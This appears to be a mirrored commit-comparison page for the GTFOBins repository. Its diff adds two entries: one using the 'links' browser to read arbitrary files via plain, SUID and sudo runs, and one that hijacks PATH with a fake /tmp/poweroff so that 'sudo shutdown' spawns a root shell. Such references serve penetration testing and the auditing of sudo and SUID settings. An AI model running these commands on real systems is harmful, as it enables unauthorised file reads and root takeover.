mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-05-12 18:46:03 +02:00
Compare commits
3 Commits
7e8ad0b9fc
...
d079d66a97
Author | SHA1 | Date | |
---|---|---|---|
JTZ | d079d66a97 | ||
Juampa Rodríguez | 97f46f1526 | ||
JTZ | 4d9b29f982 |
|
@ -0,0 +1,16 @@
|
|||
---
|
||||
description: The result is displayed in a TUI interface.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
links "$LFILE"
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./links "$LFILE"
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo links "$LFILE"
|
||||
---
|
|
@ -0,0 +1,10 @@
|
|||
---
|
||||
functions:
|
||||
sudo:
|
||||
- description: This can help us get the root user Shell
|
||||
- code: |
|
||||
echo /bin/bash > /tmp/poweroff
|
||||
chmod +x /tmp/poweroff
|
||||
export PATH=/tmp:$PATH
|
||||
sudo -u root /usr/sbin/shutdown
|
||||
---
|
Loading…
Reference in New Issue